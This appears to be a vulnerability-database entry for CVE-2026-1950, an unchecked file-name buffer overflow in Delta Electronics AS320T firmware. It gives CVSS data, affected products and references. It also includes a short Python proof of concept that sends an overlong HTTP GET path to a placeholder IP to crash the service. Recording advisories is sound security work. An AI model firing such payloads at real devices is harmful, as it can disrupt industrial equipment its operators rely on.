CVE-2026-1950

Description

Delta Electronics AS320T has No checking of the length of the buffer with the file name vulnerability.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:deltaww:as320t_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:deltaww:as320t:-:*:*:*:*:*:*:* - NOT VULNERABLE

Delta Electronics AS320T (具体版本请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import sys

# Target IP and Port (Example)
TARGET_IP = "192.168.1.100"
TARGET_PORT = 80

# Vulnerability trigger: Buffer overflow via long filename
# Padding to crash the service or overwrite return address
buffer = "A" * 500  
header = "GET /" + buffer + " HTTP/1.1\r\n"
header += "Host: " + TARGET_IP + "\r\n\r\n"

def send_exploit():
    try:
        print("[+] Sending exploit payload to %s:%d..." % (TARGET_IP, TARGET_PORT))
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((TARGET_IP, TARGET_PORT))
        s.send(header.encode())
        s.close()
        print("[+] Payload sent successfully.")
    except Exception as e:
        print("[-] Error: %s" % e)

if __name__ == "__main__":
    send_exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1950
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1950
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1950/
[4] VulDB https://vuldb.com/cve/CVE-2026-1950
[5] https://filecenter.deltaww.com/news/download/doc/Delta-PCSA-2026-00006_AS320T%20Multiple%20vulnerabilities%20(CVE-2026-1949,%201950,%201951,%201952).pdf

Raw JSON Data

JSON

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